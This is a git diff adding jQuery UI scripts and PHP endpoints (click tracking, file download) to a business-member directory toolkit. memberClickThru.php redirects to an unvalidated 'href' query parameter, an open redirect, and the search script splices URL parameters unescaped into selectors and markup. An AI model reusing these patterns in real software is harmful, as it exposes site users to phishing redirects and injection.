diff --git a/Toolkit/Members/libjs/authorizeChanges.js b/Toolkit/Members/libjs/authorizeChanges.js
new file mode 100644 (file)
index 0000000..9d545f3
--- /dev/null
@@ -0,0 +1,34 @@
+/**
+ * setup fckeditor for any textarea field that might exists on the page.
+ */
+var AuthorizeChanges =
+{
+       baseUrl: null,
+
+       init: function()
+       {
+               AuthorizeChanges.baseUrl = location.protocol + '//' + location.hostname + '/';
+
+               var url = location.pathname;
+               if (location.hostname == 'devsys2.gaslightmedia.com') {
+                       var urlParts = url.split('/');
+                       AuthorizeChanges.baseUrl += urlParts[1] + '/';
+               } else if (location.hostname == 'kanga.acrewoods.com') {
+                       var site = location.pathname.split('/');
+                       var urlParts = url.split('/');
+                       AuthorizeChanges.baseUrl += urlParts[1] + '/' + site[2] + '/';
+               }
+               
+               $('textarea').each(function(t) {
+                       var id = $(this).attr('id');
+                       if (id != null) {
+                               var oFCKeditor = new FCKeditor(id);
+                               oFCKeditor.BasePath = AuthorizeChanges.baseUrl + 'fckeditor/';
+                               oFCKeditor.ToolbarSet = 'LimitedToolset';
+                               oFCKeditor.ReplaceTextarea();
+                       }
+               });
+       }
+}
+
+$(document).ready(AuthorizeChanges.init);
diff --git a/Toolkit/Members/libjs/business-detail.js b/Toolkit/Members/libjs/business-detail.js
new file mode 100755 (executable)
index 0000000..d562cd1
--- /dev/null
@@ -0,0 +1,80 @@
+var GDirs = 
+{
+       baseUrl: null,
+       dBox: null,
+       originalText: null,
+       addyBox: null,
+
+       init: function()
+       {
+               GDirs.baseUrl = location.protocol + '//' + location.hostname + '/';
+               var url = location.pathname;
+               if (location.hostname == 'devsys2.gaslightmedia.com') {
+                       var urlParts = url.split('/');
+                       GDirs.baseUrl += urlParts[1] + '/';
+               } else if (location.hostname == 'kanga.acrewoods.com') {
+                       var site = location.pathname.split('/');
+                       var urlParts = url.split('/');
+                       GDirs.baseUrl += urlParts[1] + '/' + site[2] + '/';
+               }
+
+               GDirs.addyBox = $('#toaddress');
+               GDirs.originalText = GDirs.addyBox.val();
+               GDirs.dBox = $('#google-div');
+               GDirs.dBox.before('<a href="#" id="google-map-link" class="member-button" title="Get Driving Directions"> Directions </a>');
+               GDirs.dBox.hide();
+               $('#google-map-link').bind('click', GDirs.toggleBox);
+               $('#GDirs').bind('submit', GDirs.submitForm);
+               GDirs.addyBox.bind('focus', GDirs.clearForm);
+               GDirs.addyBox.bind('blur', GDirs.fillForm);
+       },
+
+       toggleBox: function(event)
+       {
+               event.preventDefault();
+               GDirs.dBox.slideToggle('normal');
+       },
+
+       submitForm: function(event)
+       {
+               if (GDirs.addyBox.val() == GDirs.originalText || GDirs.addyBox.val() == '') {
+                       event.preventDefault();
+                       alert('Please fill in your Address');
+               }
+       },
+
+       clearForm: function(event)
+       {
+               if (GDirs.addyBox.val() == GDirs.originalText) {
+                       GDirs.addyBox.val('');
+               }
+       },
+
+       fillForm: function(event)
+       {
+               if (GDirs.addyBox.val() == '') {
+                       GDirs.addyBox.val(GDirs.originalText);
+               }
+       }
+};
+
+var Imgs = 
+{
+       init: function()
+       {
+               $('.member-img-s').bind('click', Imgs.updateImage);
+       },
+
+       updateImage: function(event)
+       {
+               $(this).effect('transfer', {to: "#member-img-1"}, 300);
+               $(this).queue(function() {
+                       $('#member-img-1').attr('src', $(this).attr('id'));
+                       $('#photo-caption').text($(this).attr('alt'));
+                       $(this).dequeue();
+               });
+       }
+};
+
+$(document).ready(GDirs.init);
+$(document).ready(Imgs.init);
diff --git a/Toolkit/Members/libjs/business-search.js b/Toolkit/Members/libjs/business-search.js
new file mode 100644 (file)
index 0000000..9135489
--- /dev/null
@@ -0,0 +1,208 @@
+var Search =
+{
+    //  {{{ properties
+    
+    catSelected: false,
+    subCatSelected: false,
+
+    //  }}}
+    //  {{{ init()
+    
+       init: function()
+       {
+        $(".t-list-link").bind("click", function(){
+            var href = $(this).attr('href');
+            $(this).attr('href', href + '&pageOffset=' + window.pageYOffset);
+        });
+
+               $('.search-result-item')
+            .bind('mouseover', Search.highlightMember)
+            .bind('mouseout', Search.lowlightMember)
+            .bind('click', Search.goToMember);
+
+               $("select[name='category_id']")
+            .bind('change', Search.populateMemberSubType);
+               $("select[name='city_id']")
+            .bind('change', Search.repopulateCategories);
+
+        Search.setGET();
+        if (window.location.GET["_qf__SearchForm"] == '') {
+            Search.repopulateCategories();
+            Search.populateMemberSubType();
+        }
+       },
+
+    //  }}}
+    //  {{{ setGET()
+    
+    setGET: function()
+    {
+        var get=(""+location.search).substring(1).split("&");
+        window.location.GET = new Array();
+        for (var i in get) {
+            var temp = get[i].split("=");
+            window.location.GET[temp[0]]=temp.splice(1, temp.length-1).join("=");
+        }
+    },
+
+    //  }}}
+    //  {{{ highlightMember()
+    
+       highlightMember: function(event)
+       {
+               if ($(this).find("a[title='More Info']").length) {
+                       $(this).addClass('search-result-item-on');
+               }
+       },
+
+    //  }}}
+    //  {{{ lowlightMember()
+    
+       lowlightMember: function(event)
+       {
+               if ($(this).find("a[title='More Info']").length) {
+                       $(this).removeClass('search-result-item-on');
+               }
+       },
+
+    //  }}}
+    //  {{{ goToMember()
+    
+       goToMember: function(event)
+       {
+               if ($(this).find("a[title='More Info']").length) {
+                       var link = $(this).find("a[title='More Info']");
+                       document.location.href = link.attr('href');
+               }
+       },
+    
+    //  }}}
+    //  {{{ repopulateCategories()
+    
+    /**
+     * repopulate the sub category box based on the the value
+     * selected in the city box
+     *
+     * if no city was selected, then get all main categories available
+     *
+     * if a city was selected, then get all main categories available in that
+     * city.
+     */
+    repopulateCategories: function(event)
+    {
+        var city = $("select[name='city_id'] option:selected").val();
+
+        $("select[name='category_id'], select[name='sub_category_id']")
+            .empty()
+            .append('<option value="">-- Select --</option>');
+
+        if (city == '') {
+            var usedValues = Array();
+            jQuery.each(CityCats, function(id, obj) {
+                if (CityCats[id]) {
+                    jQuery.each(CityCats[id], function(i, j) {
+                        if (!usedValues[i]) {
+                            usedValues[i] = true;
+                            var cat = mainCats[i];
+                            $("select[name='category_id']")
+                                .append('<option value="'+i+'">'+cat+'</option>');
+                        }
+                    });
+                }
+            });
+        } else {
+            jQuery.each(CityCats[city], function(id, obj) {
+                if (CityCats[city]) {
+                    var cat = mainCats[id];
+                    $("select[name='category_id']")
+                        .append('<option value="'+id+'">'+cat+'</option>');
+                }
+            });
+        }
+
+        //  If only one option is available, default to have it selected.
+        if ($("select[name='category_id'] option").length == 2) {
+            $("select[name='category_id'] option:last-child")
+                .attr('selected', 'selected');
+            //  need to repopulate the sub cats, b/c we already know what
+            //  the selected cat is.
+            Search.populateMemberSubType(false);
+        }
+
+        //  Figure out wich category we need to set as the selected value
+        var category_id = window.location.GET['category_id'];
+        if (parseInt(category_id) != 'NaN') {
+            if (!Search.catSelected) {
+                Search.catSelected = true;
+                $("select[name='category_id'] option[value='"+category_id+"']").attr('selected', 'selected');
+            }
+        }
+    },
+
+    //  }}}
+    //  {{{ populateMemberSubType()
+    
+    /**
+     * repopulate the sub category box based on the the value
+     * selected in the main category box
+     *
+     * if no city was selected, then get all sub categories available
+     * under the main category selected
+     *
+     * if a city was selected, then get all sub categories available in that
+     * city under the main category selected.
+     */
+    populateMemberSubType: function(event)
+    {
+        var city = $("select[name='city_id'] option:selected").val();
+        var cat  = $("select[name='category_id'] option:selected").val();
+
+        $("select[name='sub_category_id']")
+            .empty()
+            .append('<option value="">-- Select --</option>');
+
+        var usedValues = Array();
+        if (city == '') {
+            jQuery.each(CityCats, function(id, obj) {
+                if (CityCats[id][cat]) {
+                    jQuery.each(CityCats[id][cat], function(i, j) {
+                        if (!usedValues[i]) {
+                            usedValues[i] = true;
+                            $("select[name='sub_category_id']")
+                                .append('<option value="'+i+'">'+j+'</option>');
+                        }
+                    });
+                }
+            });
+        } else {
+            jQuery.each(CityCats[city], function(key, obj) {
+                jQuery.each(CityCats[city][cat], function(i, j) {
+                    if (!usedValues[i]) {
+                        usedValues[i] = true;
+                        $("select[name='sub_category_id']")
+                            .append('<option value="'+i+'">'+j+'</option>');
+                    }
+                });
+            });
+        }
+
+        //  If only one option is available, default to have it selected.
+        if ($("select[name='sub_category_id'] option").length == 2) {
+            $("select[name='sub_category_id'] option:last-child")
+                .attr('selected', 'selected');
+        }
+
+        //  Figure out wich sub category we need to set as the selected value
+        var sub_category_id = window.location.GET['sub_category_id'];
+        if (parseInt(sub_category_id) != 'NaN') {
+            if (!Search.subCatSelected && event != false) {
+                Search.subCatSelected = true;
+                $("select[name='sub_category_id'] option[value='"+sub_category_id+"']").attr('selected', 'selected');
+            }
+        }
+    }
+
+    //  }}}
+};
+
+$(document).ready(Search.init);
diff --git a/Toolkit/Members/libjs/edit-amenity.js b/Toolkit/Members/libjs/edit-amenity.js
new file mode 100644 (file)
index 0000000..6aa77e4
--- /dev/null
@@ -0,0 +1,19 @@
+/**
+ * When we are adding an amenity we want to focus on the first text field
+ * of the form.
+ */
+var MemberAmenity =
+{
+       init: function()
+       {
+               //      Find a member id in the search params, this will let us know we
+               //      are editing a member and then we don't want to focus on the
+               //      the first field.
+               var idRegExp = /.*(\?|&)id=\d+.*$/g;
+               if (!idRegExp.test(location.search)) {
+            $('form :input:text:visible:enabled:first').focus();
+               }
+       }
+}
+
+$(document).ready(MemberAmenity.init);
diff --git a/Toolkit/Members/libjs/edit-category.js b/Toolkit/Members/libjs/edit-category.js
new file mode 100644 (file)
index 0000000..5a3a83b
--- /dev/null
@@ -0,0 +1,19 @@
+/**
+ * When we are adding a category we want to focus on the first text field
+ * of the form.
+ */
+var MemberCategory =
+{
+       init: function()
+       {
+               //      Find a member id in the search params, this will let us know we
+               //      are editing a member and then we don't want to focus on the
+               //      the first field.
+               var idRegExp = /.*(\?|&)id=\d+.*$/g;
+               if (!idRegExp.test(location.search)) {
+            $('form :input:text:visible:enabled:first').focus();
+               }
+       }
+}
+
+$(document).ready(MemberCategory.init);
diff --git a/Toolkit/Members/libjs/edit-city.js b/Toolkit/Members/libjs/edit-city.js
new file mode 100644 (file)
index 0000000..98c9fc9
--- /dev/null
@@ -0,0 +1,43 @@
+/**
+ * When adding a city, set the focus to the first text field in the form
+ * after the page loads.
+ *
+ * setup the fckeditor for the textarea fields
+ */
+var MemberCity =
+{
+       baseUrl: null,
+
+       init: function()
+       {
+               //      Find a member id in the search params, this will let us know we
+               //      are editing a member and then we don't want to focus on the
+               //      the first field.
+               var idRegExp = /.*(\?|&)id=\d+.*$/g;
+               if (!idRegExp.test(location.search)) {
+                       $(":text:visible:enabled:first").focus();
+               }
+
+               MemberCity.baseUrl = location.protocol + '//' + location.hostname + '/';
+
+               var url = location.pathname;
+               if (location.hostname == 'devsys2.gaslightmedia.com') {
+                       var urlParts = url.split('/');
+                       MemberCity.baseUrl += urlParts[1] + '/';
+               } else if (location.hostname == 'kanga.acrewoods.com') {
+                       var site = location.pathname.split('/');
+                       var urlParts = url.split('/');
+                       MemberCity.baseUrl += urlParts[1] + '/' + site[2] + '/';
+               }
+               if ($('#description')) {
+                       var oFCKeditor = new FCKeditor('description');
+                       oFCKeditor.BasePath = MemberCity.baseUrl + 'fckeditor/';
+                       oFCKeditor.ToolbarSet = 'LimitedToolset';
+                       oFCKeditor.Width = 367;
+                       oFCKeditor.Height = 250;
+                       oFCKeditor.ReplaceTextarea();
+               }
+       }
+}
+
+$(document).ready(MemberCity.init);
\ No newline at end of file
diff --git a/Toolkit/Members/libjs/edit-html-email.js b/Toolkit/Members/libjs/edit-html-email.js
new file mode 100644 (file)
index 0000000..ff921eb
--- /dev/null
@@ -0,0 +1,47 @@
+/**
+ * When adding a city, set the focus to the first text field in the form
+ * after the page loads.
+ *
+ * setup the fckeditor for the textarea fields
+ */
+var HtmlEmail =
+{
+       baseUrl: null,
+
+       init: function()
+       {
+               //      Find a member id in the search params, this will let us know we
+               //      are editing a member and then we don't want to focus on the
+               //      the first field.
+               var idRegExp = /.*(\?|&)id=\d+.*$/g;
+               if (!idRegExp.test(location.search)) {
+                       $(":text:visible:enabled:first").focus();
+               }
+
+               HtmlEmail.baseUrl = location.protocol + '//' + location.hostname + '/';
+
+               var url = location.pathname;
+               if (location.hostname == 'devsys2.gaslightmedia.com') {
+                       var urlParts = url.split('/');
+                       HtmlEmail.baseUrl += urlParts[1] + '/';
+               } else if (location.hostname == 'steve.gaslightmedia.com') {
+                       var site = location.pathname.split('/');
+                       var urlParts = url.split('/');
+                       HtmlEmail.baseUrl += urlParts[1] + '/' + site[2] + '/';
+               } else if (location.hostname == 'kanga.acrewoods.com') {
+                       var site = location.pathname.split('/');
+                       var urlParts = url.split('/');
+                       HtmlEmail.baseUrl += urlParts[1] + '/' + site[2] + '/';
+               }
+               if ($('#response')) {
+                       var oFCKeditor = new FCKeditor('response');
+                       oFCKeditor.BasePath = HtmlEmail.baseUrl + 'fckeditor/';
+                       oFCKeditor.ToolbarSet = 'Default';
+                       oFCKeditor.Width = 600;
+                       oFCKeditor.Height = 500;
+                       oFCKeditor.ReplaceTextarea();
+               }
+       }
+}
+
+$(document).ready(HtmlEmail.init);
diff --git a/Toolkit/Members/libjs/edit-member-amenities.js b/Toolkit/Members/libjs/edit-member-amenities.js
new file mode 100644 (file)
index 0000000..f696ac5
--- /dev/null
@@ -0,0 +1,21 @@
+var MemberAmenity =
+{
+       init: function()
+       {
+               $('label').each(function() {
+            $(this).hover(MemberAmenity.highlight, MemberAmenity.lowlight);
+               });
+       },
+
+       highlight: function(event)
+       {
+               $(this).addClass('amenityOn');
+       },
+
+       lowlight: function(event)
+       {
+               $(this).removeClass('amenityOn');
+       }
+}
+
+$(document).ready(MemberAmenity.init);
diff --git a/Toolkit/Members/libjs/edit-member-contacts.js b/Toolkit/Members/libjs/edit-member-contacts.js
new file mode 100644 (file)
index 0000000..fdafd2b
--- /dev/null
@@ -0,0 +1,67 @@
+var MemberContacts=
+{
+       baseUrl: null,
+
+       init: function()
+       {
+
+               MemberContacts.baseUrl = location.protocol + '//' + location.hostname + '/';
+
+               var url = location.pathname;
+               if (location.hostname == 'devsys2.gaslightmedia.com') {
+                       var urlParts = url.split('/');
+                       MemberContacts.baseUrl += urlParts[1] + '/';
+               } else if (location.hostname == 'kanga.acrewoods.com') {
+                       var site = location.pathname.split('/');
+                       var urlParts = url.split('/');
+                       MemberContacts.baseUrl += urlParts[1] + '/' + site[2] + '/';
+               }
+               $('.remove').each(function() {
+            $(this).click(MemberContacts.remove);
+            $(this).hover(MemberContacts.click, MemberContacts.release);
+               });
+
+               $('.contactList').each(function() {
+            $(this).hover(MemberContacts.mouseOn, MemberContacts.mouseOff);
+            $(this).click(MemberContacts.goToContact);
+               });
+       },
+
+       mouseOn: function(event)
+       {
+               $(this).addClass('contactListOn');
+       },
+
+       mouseOff: function(event)
+       {
+               $(this).removeClass('contactListOn');
+       },
+
+       goToContact: function(event)
+       {
+               document.location.href = $(this).find('h3 a').attr('href');
+               return false;
+       },
+
+       remove: function(event)
+       {
+               if (!confirm('Are you sure you wish to remove this contact?\nThis is not reversible!')) {
+            event.preventDefault();
+               }
+        //  Don't propagate so we won't go into the member record
+        event.stopImmediatePropagation();
+       },
+
+       click: function(event)
+       {
+               $(this).children().attr('src', MemberContacts.baseUrl + 'assets/remove_clicked.png');
+       },
+
+       release: function(event)
+       {
+               $(this).children().attr('src', MemberContacts.baseUrl + 'assets/remove.png');
+       }
+
+}
+
+$(document).ready(MemberContacts.init);
diff --git a/Toolkit/Members/libjs/edit-member-files.js b/Toolkit/Members/libjs/edit-member-files.js
new file mode 100644 (file)
index 0000000..87086e5
--- /dev/null
@@ -0,0 +1,18 @@
+var MemberFiles =
+{
+       init: function()
+       {
+               $('.fileDelete').each(function() {
+            $(this).click(MemberFiles.remove);
+               });
+       },
+
+       remove: function(event)
+       {
+               if (!confirm('Are you sure you wish to remove this file?\nThis is not reversible!')) {
+            event.preventDefault();
+               }
+       }
+}
+
+$(document).ready(MemberFiles.init);
diff --git a/Toolkit/Members/libjs/edit-member-packages.js b/Toolkit/Members/libjs/edit-member-packages.js
new file mode 100755 (executable)
index 0000000..8f22e5e
--- /dev/null
@@ -0,0 +1,39 @@
+var MemberPackages =
+{
+       baseUrl: null,
+
+       init: function()
+       {
+               MemberPackages.baseUrl = location.protocol + '//' + location.hostname + '/';
+
+               var url = location.pathname;
+               if (location.hostname == 'devsys2.gaslightmedia.com') {
+                       var urlParts = url.split('/');
+                       MemberPackages.baseUrl += urlParts[1] + '/';
+               } else if (location.hostname == 'kanga.acrewoods.com') {
+                       var site = location.pathname.split('/');
+                       var urlParts = url.split('/');
+                       MemberPackages.baseUrl += urlParts[1] + '/' + site[2] + '/';
+               }
+
+               if ($('spdescription')) {
+                       var oFCKeditor = new FCKeditor('spdescription');
+                       oFCKeditor.BasePath = MemberPackages.baseUrl + 'fckeditor/';
+                       oFCKeditor.ToolbarSet = 'LimitedToolset';
+                       oFCKeditor.Width = 367;
+                       oFCKeditor.Height = 250;
+                       oFCKeditor.ReplaceTextarea();
+               }
+
+               if ($('gdescription')) {
+                       var oFCKeditor = new FCKeditor('gdescription');
+                       oFCKeditor.BasePath = MemberPackages.baseUrl + 'fckeditor/';
+                       oFCKeditor.ToolbarSet = 'LimitedToolset';
+                       oFCKeditor.Width = 367;
+                       oFCKeditor.Height = 250;
+                       oFCKeditor.ReplaceTextarea();
+               }
+       }
+}
+
+Event.observe(window, 'load', MemberPackages.init);
diff --git a/Toolkit/Members/libjs/edit-member-photos.js b/Toolkit/Members/libjs/edit-member-photos.js
new file mode 100755 (executable)
index 0000000..7382937
--- /dev/null
@@ -0,0 +1,78 @@
+var MemberPhotos =
+{
+       baseUrl: null,
+
+       init: function()
+       {
+               $('.photoDelete').click(MemberPhotos.remove);
+
+               //      Get the url we are dealing w/.
+               MemberPhotos.baseUrl = location.protocol + '//' + location.hostname + '/';
+
+               var url = location.pathname;
+               if (location.hostname == 'devsys2.gaslightmedia.com') {
+                       var urlParts = url.split('/');
+                       MemberPhotos.baseUrl += urlParts[1] + '/';
+               } else if (location.hostname == 'kanga.acrewoods.com') {
+                       var site = location.pathname.split('/');
+                       var urlParts = url.split('/');
+                       MemberPhotos.baseUrl += urlParts[1] + '/' + site[2] + '/';
+               }
+
+               //      Make just the photos uploaded have an additional class
+               //      on them, so we can make them movable later.
+               $(".photoItem:not(.photoUploadForm)").addClass('movable');
+
+               //      Update the text on the update button.
+               //      Since they have javascript on, the only update
+               //      they will actually do on the form is the caption.
+               //      They won't be updating the position through the select list.
+               $(":submit[name='update']").val('Update Caption Text');
+
+               //      Remove all the positioning select elemnts
+               //      so they can't override any new position adjustments
+               //      done through drag and drop.
+               $('.position').remove();
+
+               //      Add a message for users to tell them how to 
+               //      reposition thier images.
+               $('#photoList').before('<div id="pos-info">Click and drag images to reorder positions. Image positions are saved when the fields flash yellow</div>');
+
+               $('div.container').sortable({
+                       placeholder: 'ui-state-highlight',
+                       handle: 'img.thumb',
+                       opacity: 0.6,
+                       revert: true,
+                       scroll: true,
+                       tolerance: 'pointer',
+                       zIndex: 5,
+//                     containment: 'parent',
+                       axis: 'y',
+                       cursor: 'n-resize',
+                       update: MemberPhotos.updatePos
+               });
+               $('img.thumb').disableSelection();
+       },
+
+       updatePos: function(event, ui)
+       {
+               //      Update the photo positions through AJAX.
+               $.ajax({
+                       type: 'GET',
+                       url: MemberPhotos.baseUrl + 'Toolkit/Members/sortPhotos.php',
+                       data: $(this).sortable('serialize'),
+                       success: function(transport) {
+                               $('.movable').effect('highlight', {}, 700);
+                       }
+               });
+       },
+
+       remove: function(event)
+       {
+               if (!confirm('Are you sure you wish to remove this photo?\nThis is not reversible!')) {
+                       event.preventDefault();
+               }
+       }
+};
+
+$(document).ready(MemberPhotos.init);
diff --git a/Toolkit/Members/libjs/edit-member.js b/Toolkit/Members/libjs/edit-member.js
new file mode 100755 (executable)
index 0000000..6e4b8b5
--- /dev/null
@@ -0,0 +1,95 @@
+var Member =
+{
+       baseUrl: null,
+       categorySelectList: null,
+
+       init: function()
+       {
+               //      Find a member id in the search params, this will let us know we
+               //      are editing a member and then we don't want to focus on the
+               //      the first field.
+               var idRegExp = /.*(\?|&)id=\d+.*$/g;
+               if (!idRegExp.test(location.search)) {
+                       $('form :input:text:visible:enabled:first').focus();
+               }
+
+               Member.baseUrl = location.protocol + '//' + location.hostname + '/';
+
+               var url = location.pathname;
+               if (location.hostname == 'devsys2.gaslightmedia.com') {
+                       var urlParts = url.split('/');
+                       Member.baseUrl += urlParts[1] + '/';
+               } else if (location.hostname == 'kanga.acrewoods.com') {
+                       var site = location.pathname.split('/');
+                       var urlParts = url.split('/');
+                       Member.baseUrl += urlParts[1] + '/' + site[2] + '/';
+               }
+
+               var meals = ['breakfast', 'brunch', 'lunch', 'dinner'];
+               jQuery.each(meals, function(i, j) {
+                       $('#edit_member input[name='+j+']:checkbox').click(Member.toggleMealView);
+                       $('#edit_member input[name='+j+']:checkbox:not(:checked)').parents('tr').next().toggle().next().toggle();
+               });
+
+        $('.tooltip').cluetip({
+            //  character to split title text from body text
+            splitTitle: '`',
+            //  show arrow on cluetip
+            arrows: true,
+            //  hide cluetip on mouseout
+            mouseOutClose: true,
+            //  track mouse movements
+            tracking: true,
+            //  keep z index above all other elements on the page
+            cluezIndex: 10000,
+            //  effect to open cluetip with
+            fx: {open: 'fadeIn'}
+        });
+
+               if (Member.categorySelectList = $('#categories')) {
+                       Member.categorySelectList.after('<input type="button" id="addCat" value="Add">');
+                       $('#addCat').click(Member.addCategory);
+               }
+
+               if ($('#description')) {
+                       var oFCKeditor = new FCKeditor('description');
+                       oFCKeditor.BasePath = Member.baseUrl + 'fckeditor/';
+                       oFCKeditor.ToolbarSet = 'LimitedToolset';
+                       oFCKeditor.ReplaceTextarea();
+               }
+       },
+
+       addCategory: function(event)
+       {
+               //      Don't allow insertion of the -- Choose Category -- option.
+               if (Member.categorySelectList.get(0).selectedIndex == 0) {
+                       return;
+               }
+               var catid = Member.categorySelectList.get(0).value;
+               $('#edit_member').prepend('<input type="hidden" id="'+catid +'catid" value="'+catid+'" name="member_cats[]">');
+               
+               var index = Member.categorySelectList.get(0).selectedIndex;
+               var category = Member.categorySelectList.get(0).options[index].innerHTML;
+               var d = new Date();
+               var id = d.getTime()
+               var i = '<i><label class="remove" for="' + id + '"><input type="checkbox" ' +
+                               'value="' + catid + '" id="' + id + '" name="removeCat[]">Remove</label>' +
+                               category + '</i>';
+               $(this).parents('i').before(i);
+               Member.categorySelectList.get(0).selectedIndex = 0;
+       },
+
+       removeCategory: function(event)
+       {
+               event.stop();
+               $('catid' + this.readAttribute('rel')).remove();
+               this.up().remove();
+       },
+
+       toggleMealView: function(event)
+       {
+               $(this).parents('tr').next().toggle().next().toggle();
+       }
+};
+
+$(document).ready(Member.init);
diff --git a/Toolkit/Members/libjs/edit-region.js b/Toolkit/Members/libjs/edit-region.js
new file mode 100644 (file)
index 0000000..5c7f59a
--- /dev/null
@@ -0,0 +1,19 @@
+/**
+ * When we are adding an region we want to focus on the first text field
+ * of the form.
+ */
+var MemberRegion =
+{
+       init: function()
+       {
+               //      Find a member id in the search params, this will let us know we
+               //      are editing a member and then we don't want to focus on the
+               //      the first field.
+               var idRegExp = /.*(\?|&)id=\d+.*$/g;
+               if (!idRegExp.test(location.search)) {
+            $('form :input:text:visible:enabled:first').focus();
+               }
+       }
+}
+
+$(document).ready(MemberRegion.init);
diff --git a/Toolkit/Members/libjs/list-categories.js b/Toolkit/Members/libjs/list-categories.js
new file mode 100644 (file)
index 0000000..97e3bb8
--- /dev/null
@@ -0,0 +1,50 @@
+var Tree =
+{
+       init: function()
+       {
+               Tree.insertGlobalFunctions();
+
+               tree1 = new tree_component();
+               tree1.init($("#categoryTree"), {
+                       cookies : {
+                               prefix : "tree1",
+                               opts : { path : '/' }
+                       },
+                       ui : {
+                               animation : 500
+                       }
+               });
+
+               $('#categoryTree a').bind('click', Tree.editNode);
+       },
+
+       insertGlobalFunctions: function()
+       {
+               $('#categoryTree').before('<div class="treeOperators">' +
+                       '<button class="expandAll">Expand All</button>' +
+                       '<button class="collapseAll">Collapse All</button>' +
+                       '</div>');
+
+               $('.expandAll').bind('click', Tree.expandAll);
+               $('.collapseAll').bind('click', Tree.collapseAll);
+       },
+
+       expandAll: function(event)
+       {
+               $('li.closed').toggleClass('open');
+               $('li.closed').toggleClass('closed');
+       },
+
+       collapseAll: function (event)
+       {
+               $('li.open').toggleClass('closed');
+               $('li.open').toggleClass('open');
+       },
+
+       editNode: function(event)
+       {
+               location.href = $(this).attr('href');
+       }
+};
+
+$(document).ready(Tree.init);
diff --git a/Toolkit/Members/libjs/member-list.js b/Toolkit/Members/libjs/member-list.js
new file mode 100644 (file)
index 0000000..76d727d
--- /dev/null
@@ -0,0 +1,76 @@
+var MemberList =
+{
+       baseUrl: null,
+
+       init: function()
+       {
+               $('.searchResult').each(function() {
+                       $(this).hover(MemberList.mouseOn, MemberList.mouseOff);
+                       $(this).click(MemberList.goToMember);
+               });
+
+               $('.remove').each(function() {
+                       $(this).click(MemberList.remove);
+                       $(this).hover(MemberList.click, MemberList.release);
+               });
+
+               MemberList.baseUrl = location.protocol + '//' + location.hostname + '/';
+
+               var url = location.pathname;
+               if (location.hostname == 'devsys2.gaslightmedia.com') {
+                       var urlParts = url.split('/');
+                       MemberList.baseUrl += urlParts[1] + '/';
+               } else if (location.hostname == 'kanga.acrewoods.com') {
+                       var site = location.pathname.split('/');
+                       var urlParts = url.split('/');
+                       MemberList.baseUrl += urlParts[1] + '/' + site[2] + '/';
+               }
+
+               $('#record_search').after('<a href="#" id="advanced_search">Advanced Search</a>');
+               $('#advanced_search').click(MemberList.toggleAdvancedSearch);
+               $('#advanced_search').trigger('click');
+       },
+
+       toggleAdvancedSearch: function(event)
+       {
+               event.preventDefault();
+               $('#record_search tr').slice(4,8).toggle();
+       },
+
+       mouseOn: function(event)
+       {
+               $(this).addClass('searchResultOn');
+       },
+
+       mouseOff: function(event)
+       {
+               $(this).removeClass('searchResultOn');
+       },
+
+       goToMember: function(event)
+       {
+               document.location.href = $(this).find('h3 a').attr('href');
+               return false;
+       },
+
+       remove: function(event)
+       {
+               if (!confirm('Are you sure you wish to remove this business?\nThis is not reversible!')) {
+            event.preventDefault();
+        }
+        //  Don't propagate so we won't go into the member record
+        event.stopImmediatePropagation();
+       },
+
+       click: function(event)
+       {
+               $(this).children().attr('src', MemberList.baseUrl + 'assets/remove_clicked.png');
+       },
+
+       release: function(event)
+       {
+               $(this).children().attr('src', MemberList.baseUrl + 'assets/remove.png');
+       }
+};
+
+$(document).ready(MemberList.init);
diff --git a/Toolkit/Members/libjs/member-pending-list.js b/Toolkit/Members/libjs/member-pending-list.js
new file mode 100644 (file)
index 0000000..2f0789a
--- /dev/null
@@ -0,0 +1,42 @@
+var MemberPendingList =
+{
+    baseUrl : null,
+
+    init: function()
+    {
+               $('.searchResult').each(function() {
+                       $(this).hover(MemberPendingList.mouseOn, MemberPendingList.mouseOff);
+                       $(this).click(MemberPendingList.goToMember);
+               });
+
+               MemberPendingList.baseUrl = location.protocol + '//' + location.hostname + '/';
+
+               var url = location.pathname;
+               if (location.hostname == 'devsys2.gaslightmedia.com') {
+                       var urlParts = url.split('/');
+                       MemberPendingList.baseUrl += urlParts[1] + '/';
+               } else if (location.hostname == 'kanga.acrewoods.com') {
+                       var site = location.pathname.split('/');
+                       var urlParts = url.split('/');
+                       MemberPendingList.baseUrl += urlParts[1] + '/' + site[2] + '/';
+               }
+    },
+
+       mouseOn: function(event)
+       {
+               $(this).addClass('searchResultOn');
+       },
+
+       mouseOff: function(event)
+       {
+               $(this).removeClass('searchResultOn');
+       },
+
+       goToMember: function(event)
+       {
+               document.location.href = $(this).find('h3 a').attr('href');
+               return false;
+       }
+}
+
+$(document).ready(MemberPendingList.init);
diff --git a/Toolkit/Members/memberClickThru.php b/Toolkit/Members/memberClickThru.php
new file mode 100644 (file)
index 0000000..7b9f5d7
--- /dev/null
@@ -0,0 +1,29 @@
+<?php
+
+/**
+ * tracks clicks for url links from members
+ * 
+ * PHP versions 4 and 5
+ * 
+ * @category  Toolkit
+ * @package   PackageName
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   CVS: $Id: memberClickThru.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      <>
+ */
+
+$dont_include_functions = true;
+/**
+ * Description for require_once
+ */
+require_once '../../setup.phtml';
+if (is_numeric($_GET['member_id'])) {
+    $exposure = new Toolkit_Members_Exposure($_GET['member_id'], 'click');
+}
+if ($_GET['href']) {
+    $href = str_replace("http://", "", $_GET['href']);
+    header("Location: http://" . $href);
+}
+?>
diff --git a/Toolkit/Members/memberFileDownload.php b/Toolkit/Members/memberFileDownload.php
new file mode 100644 (file)
index 0000000..a594e26
--- /dev/null
@@ -0,0 +1,32 @@
+<?php
+/**
+ * Handles Sending files downloads to the browser
+ * 
+ * PHP versions 4 and 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: memberFileDownload.php,v 1.2 2009/12/15 20:18:15 jamie Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+$dont_include_functions = true;
+
+/**
+ * Description for require_once
+ */
+require_once '../../setup.phtml';
+
+$download = new Toolkit_Members_FileDownload(
+       Toolkit_Database::getInstance()
+);
+$file = $download->getFile($_GET['mid'], $_GET['fid']);
+
+if (!PEAR::isError($file)) {
+    $download->sendFileToBrowser($file);
+} else {
+    exit();
+}
+?>
